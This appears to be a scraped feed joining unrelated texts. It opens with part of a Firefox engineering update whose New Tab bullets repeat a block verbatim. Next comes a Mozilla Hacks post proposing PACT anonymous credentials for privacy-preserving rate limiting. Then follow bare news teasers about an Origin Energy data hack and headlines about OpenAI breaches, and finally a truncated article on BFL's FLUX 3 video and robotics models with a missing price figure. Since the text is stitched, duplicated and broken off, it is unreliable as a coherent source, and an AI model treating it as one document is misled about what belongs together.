• Julian Descottes [:jdescottes] fixed a toolbox crash that was happening we couldn’t find a localization file (e.g. when using a language pack on Nightly) (#2028930)
• Nicolas Chevobbe [:nchevobbe] improved @container tooltip so it show the value of variables used in style()(#2030239), has enough contrast in dark mode (#2033782) and contains a link to select the container (#2031688)
  • 
• Hubert Boma Manilla (:bomsy) is making good progress on migrating the Console to CodeMirror 6 (#2032758, #2026569)

Fluent

• We’re now at over 72% of our strings being Fluent! Got a component still using .properties? Convert when you can!
• 

Migration Improvements

• Thanks to dao for fixing a recent alignment issue in the migration wizard dropdown
• Thanks to volunteer contributor Anthony Mclamb for his patch that disables the legacy EdgeHTML Edge migrator! Once that finishes rolling out, presuming no surprises, we’ll go ahead and remove the migrator entirely.

New Tab Page

• Nova for New Tab has ridden the trains to Beta! It will be enabled by default, globally, when Firefox 151 goes out to release on May 19th
  • It’s possible that we’ll do a train-hop coupled with an experiment to enable HNT Nova for a few clients a bit earlier.
• Maxx Crawford enabled Nova designs for New Tab, rolling out the updated layout, widgets, and customization panel behind HNT Nova flags.
• Maxx Crawford fixed the Nova content feed to render the intended four‑column layout by correcting CSS grid breakpoints.
• Maxx Crawford resolved a first‑load failure in the Weather widget by fixing init order and fetch timing, eliminating the “Oops” error.
• Maxx Crawford synchronized the Weather toggle between about:preferences#home and the panel via the shared showWeather pref to prevent desync.
• Maxx Crawford updated Nova grid focus order to align tab flow with visual order for keyboard users.
• Maxx Crawford fixed critical UI issues in Lists and Timer widgets covering overflow, controls, and layout stability.
• Maxx Crawford guarded document.dir access in Nova render paths to avoid startup cache worker errors and improve startup stability.
• Rolf added a new normalization method for the inferred interest vector to stabilize topic relevance across sessions.
• Rolf prevented unnecessary content refreshes during Pocket New Tab experiments, reducing jank and bandwidth.
• Sameeksha defined the Customize button’s expanded/collapsed state programmatically using aria-expanded for better a11y.
• liz clarified follow/unfollow/blocked button names with topic context so screen readers announce clear actions.
• Vector marked the Delete from History control as opening a dialog via aria-haspopup=dialog for assistive tech.
• Scott Downe fixed a regression that flipped the Wallpapers pref off, restoring user selections.
• Irene Ni corrected privacy link color and focus styles for contrast and keyboard visibility.
• Reem Hamoui added a wallpaper toggle reset in the Nova customization panel so users can quickly restore default wallpapers without extra steps.
• Reem Hamoui fixed the Customize pencil button to match the Nova spec, aligning placement and iconography for visual consistency.
• Dre updated the ‘Fresh new’ wallpapers copy to a clearer, localized message for better comprehension.
• Irene Ni fixed Nova privacy link color and focus styles to meet contrast and focus ring guidelines, improving accessibility on New Tab.
• Irene Ni adjusted Sponsored tile character limits to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.
• Scott Downe fixed a regression that flipped the Wallpapers user pref to false, restoring wallpapers for affected users and preventing unintended disablement.
• Reem Hamoui hooked the wallpaper check into the new toggle logic so the Customization Panel accurately reflects wallpaper availability and state.
• Irene Ni landed Nova UI updates for the Daily Briefing 3-pack card, improving spacing, type scale, and tap targets.
• Reem Hamoui added a wallpaper toggle reset in the Nova customization panel so users can quickly restore default wallpapers without extra steps.
• Reem Hamoui fixed the Customize pencil button to match the Nova spec, aligning placement and iconography for visual consistency.
• Dre updated the ‘Fresh new’ wallpapers copy to a clearer, localized message for better comprehension.
• Irene Ni fixed Nova privacy link color and focus styles to meet contrast and focus ring guidelines, improving accessibility on New Tab.
• Irene Ni adjusted Sponsored tile character limits to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.
• Scott Downe fixed a regression that flipped the Wallpapers user pref to false, restoring wallpapers for affected users and preventing unintended disablement.
• Reem Hamoui hooked the wallpaper check into the new toggle logic so the Customization Panel accurately reflects wallpaper availability and state.
• Irene Ni landed Nova UI updates for the Daily Briefing 3-pack card, improving spacing, type scale, and tap targets.

Search and Urlbar

• Marco has fixed a couple of issues with the places databases to try and improve stability. This should help with avoiding users losing bookmarks or favicons.
• Work continues on the new separate search bar to improve the functionality, e.g. allowing middle click to perform a search in a new tab, avoiding performing a search when adding a search engine.
• Work also continues on the new Nova layouts.

Smart Window

• uplifted 10 bugs to 150.0.1 dot release addressing initial user feedback from diary study and Connect
  • jump to bottom of conversation 2028692
  • stop streaming button 2029204
  • back/forward navigation from assistant 2029229
  • dark mode for various chips 2024499
• search engine switching from smart bar 2021973
• Nova styling within smart window 2026794

Storybook/Reusable Components/Acorn Design System

• Dustin converted moz-breadcrumb-group variables into JSON design tokens Bug 2029181 – Convert moz-breadcrumb-group variables into JSON design tokens
• Dustin converted moz-box-* variables into JSON design tokens Bug 2029180 – Convert moz-box-* variables into JSON design tokens
• Dustin converted moz-promo variables to JSON design tokens Bug 2029190 – Convert moz-promo variables into JSON design tokens
• Dustin converted moz-reorderable-list variables to JSON design tokens Bug 2029191 – Convert moz-reorderable-list variables into JSON design tokens
• Dustin converted moz-visual-picker variables to JSON design tokens Bug 2029193 – Convert moz-visual-picker-item variables into JSON design tokens
• Dustin updated browser-shared.css so it passes use-design-tokens Bug 2022985 – Update browser-shared.css so it passes use-design-tokens
• Dustin updated popup.css so it passes use-design-tokens Bug 2022979 – Update popup.css so it passes use-design-tokens
• Jon added opacity tokens and added opacity to use-design-tokens stylelint rule  Bug 1955325 – Create opacity tokens
• Jon converted toolbar design tokens to JSON Bug 2017970 – Convert toolbar design tokens to json
• Anna fixed moz-select with panel-list drop-down size inconsistency Bug 2032365 – Applications Action drop-down menus sometimes have a different size when opened
• Anna fixed issue with the disabled state of moz-radio component Bug 2027123 – moz-radio disabled state cannot be changed while the moz-radio-group is disabled
• Anna updated moz-button and moz-box-button components to prevent label corruption when accesskeys are present and the label changes.   Bug 2022326 – moz-button with accesskey label becomes corrupted when l10nId updates dynamically

UX Fundamentals

• The error pages shown when a server sends back an invalid response header or an unsupported content encoding now display accurate, context-specific messages. The invalid response header page also gained a helpful list of next steps. – 2027209
• In progress: The error page illustrations are being replaced with new artwork, and the system now supports per-illustration size configuration, giving each image the ability to define its own appropriate dimensions. – 2031837

Settings Redesign

• Tim converted settings related to Accessibility page to config-based pane Bug 1968116 – Convert settings related to Accessibility page to config-based settings
• Benjamin converted Privacy & Security page to the config-based pane Bug 1968112 – Convert settings related to Privacy & Security page to config-based settings
• Finn integrated Firefox Labs page into setting-pane config Bug 2021047 – Integrate Firefox Labs page into setting-pane config
• Anna converted Firefox Updates section to config-based prefs Bug 1990961 – Convert Firefox Updates section to config-based prefs
• Mark Kennedy added moz-promo, that is welcoming users to the redesigned settings Bug 2015093 – Add a moz-promo to welcome users to the redesign
  • 
• Anna added possibility to search for actions in the redesigned “Applications” section Bug 2020370 – It’s no longer possible to search for actions in the new “Applications” section
• Anna fixed the Settings navbar layout breakage

Bots (and privacy-preserving browsers) not welcome

Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: if we think you might be a bot, you’re not welcome.

Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans.  For example: SEO comment spam, credential stuffing and DDoSing. Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors.

Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are dismantling the passive signals that anti-abuse systems depended on to identify and distinguish visitors. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them faster and more reliably than humans.

Many sites are switching to more invasive mechanisms and now ask visitors to disclose identifying information, e.g. an email address, a federated login or disabling their VPN. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate.

This leaves users with a dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse.

Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block both. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.

The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users who would otherwise want to consume their content or services. New user agents struggle to access the same content as conventional browsers.

The Costs of Convenient Solutions

Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.

Google’s Web Environment Integrity, abandoned in 2023, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.

Apple’s Private Access Tokens, deployed across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.

However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. Due to PAT’s technical design^[1], there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would become tied to having bought expensive hardware from a small, hard to change set of vendors.

Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.

A Better Path Forward

Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they don’t actually need to know the user’s identity or receive cryptographic proof that they’re running approved software. If sites knew their visitors were restricted to a rate limit set by a site, that would be enough.  

Rate limits only make sense if they’re tied to something scarce; something an attacker can’t cheaply replicate to evade the limit. Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit.

However, hardware is just one option for scarcity. Anything a user already has that an attacker can’t trivially spin up at scale will work: email addresses and phone numbers are naturally scarce. A paid subscription costs an attacker the same as a real user.  Even maintaining an account on a free service requires some non-trivial work.

What if we could use these scarce signals across the web? We could build an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms.

As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage.

The catch is that building a system that can enable this on the open web whilst maintaining user’s privacy is genuinely difficult. It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. Letting one site verify a signal from another is the sort of information flow that privacy-preserving browsers have spent the last decade locking down to prevent cross-site tracking.

Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), it can be a win for both privacy and access.

The Foundations

The good news is that the cryptographic foundations for a privacy preserving approach already exist. The Privacy Pass protocol, originally developed in 2018 to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is unlinkable between issuance and redemption. You prove something to an issuer (e.g. by solving a CAPTCHA), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to.

Figure 1: In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history.

Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: Apple uses it to authenticate users of Private Cloud Compute and Private Relay without linking their activity to their identity, Chrome uses it for two-hop IP protection, and Kagi uses it to provide private search. These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them.

Applying this approach to an open system where any site can act as an issuer brings real challenges. Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. This compounds if sites can learn the set of issuers you have visited, since it becomes a fingerprint which can be used to identify you.

Generic techniques exist for proving a statement in zero knowledge: we can prove that a client has a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. The generic approach is often slow, but bespoke approaches tailored to the underlying cryptography can improve this considerably.

Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, sites are likely to lean towards conservative issuer selection. That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created. 

To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like Prio which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour.

Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per client basis, for example by increasing rate limits where they become more confident the client is benign and withdrawing access when abuse is detected.

Anonymous Credit Tokens offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing the counter whenever the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked.

Putting it together

So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a W3C CG Meeting in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens.

Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an Anchor. To a user who meets the Anchor’s criteria, like having a subscription, an account in good standing, or a verified phone number, an Anchor issues a batch of Endorsement tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys scarcity to other sites.

That’s enough for a simple system where access is either granted or denied. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. The state needed to enforce a rate limit can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it.

We’ll call that the party that handles rate limiting for a site a Moderator and the stateful object a Credential. A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit. 

In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.

Figure 2: (1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time.

Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of the Anchors it trusts, but not which one.

When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as we would for any other third party site. The unlinkability of Credential presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it does provide a new way to grant access without requiring users to give up their privacy.

Enabling Moderators that cover many sites carries a centralisation risk, similar to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. This can’t reverse the centralisation pressure the web already faces, but it ensures this system won’t lead to additional lock-in: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor.

The system then has three flows. First, the user receives Endorsements from an Anchor in the course of normal interaction, based on the Anchor’s positive view of the user. This is a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.

Figure 3: In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.

Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides which Anchor was used, and neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) could be used to bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.

Figure 4: When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server.  

Third, as the user browses, the browser presents the Credential and the Moderator updates the internal state of the Credential. The Moderator can reward behaviour that looks benign and penalize suspicious activity, but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers. Revocation falls out of the same mechanism: a Moderator can refuse to return an updated Credential. 

Figure 5: The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.

In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving users with meaningfully less friction.

AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent behaves. Sites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism.

Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be joined into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: the site only learns if the user has a valid Credential below the rate limit, or nothing. When the Moderator updates a Credential, it adjusts the credentials state without learning what it is.

The additional privacy given to users from Issuer blinding makes participating in the system more challenging for Moderators. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor more access than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial access has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.

Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust. Multiparty computation systems like Prio enable aggregate scoring without compromising privacy. When users present Credentials, they can provide an encrypted share which identifies the anchor they used and can be privately aggregated to compute the quality of an issuer.

Next Steps

We think the architecture we’ve sketched for PACT has the right shape, but many of the details still need to be worked out and the entire system needs rigorous privacy and security analysis.

We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. We’ll be bringing draft specifications to these bodies as soon as they’re ready, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community.

If successful, we think we can provide a system which will keep the web open and private, while still giving sites the rate-limiting signal they need.

Acknowledgements

The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele Orrù, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot & Cathie Yun. 

The post PACT: Anonymous Credentials for the Web appeared first on Mozilla Hacks - the Web developer blog.

• Follow our Australia news live blog for latest updates

• Get our breaking news email, free app or daily news podcast

Origin Energy customers’ addresses, phone numbers and partial bank account data have been accessed in a hack, the company has confirmed.

The firm has 4.8m customer accounts in Australia, providing electricity, fossil gas, LPG and internet services to homes and businesses.

Read more →

The post OpenAI Discloses AI-Driven Breach During Cybersecurity Testing appeared first on IT Security News.

Read more →

The post In Other News: Dolphin X AI-Powered Malware, Car Anti-Theft Device Hack, 400 Linux Kernel Flaws appeared first on IT Security News.

The post In Other News: Dolphin X AI-Powered Malware, Car Anti-Theft Device Hack, 400 Linux Kernel Flaws appeared first on SecurityWeek.

Read more →

The post OpenAI models escape containment, hack Hugging Face appeared first on IT Security News.

The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface.

That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model.

FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a gated "Early Access" program now, to which anyone can apply, but which BFL must approve.

There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including Anthropic and OpenAI, though those were ostensibly for security concerns and due to government request.

What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.

Another big notable omission: FLUX 3 is not launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.

But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far.

Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption

BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability.

In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.

One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.

Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.

Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.

Gemini Omni Flash, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality.

Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.

One regional wrinkle matters for a German company's home market. Editing uploaded video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.

Here's a rough guide for enterprises considering which video models to rely upon:

One architecture for media generation and physical action

FLUX 3 builds on Self-Flow, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026.

The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.

"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."

He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."

BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.

For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.

For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.

What FLUX 3 Video can actually do

The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation.

Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching OpenAI's discontinued Sora model.

The capability list BFL published covers:

• Text-to-video generation.

• Image-to-video generation, either animating from a starting frame or using images as visual references.

• Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.

• Generative video-audio continuation from existing video and audio input.

• Keyframe-to-video generation for controlled transitions between defined moments.

• Multilingual dialogue.

• A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.

• Typography generation and animated design.

• Agentic chaining of individual clips into longer, multi-shot sequences.

That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.

It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.

BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.

FLUX-mimic tests whether video models can become robot models

BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.

The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.

FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data.

BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.

"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."

BFL argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni.

Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic."

The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it.

There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.

Open weights helped make FLUX an industry standard

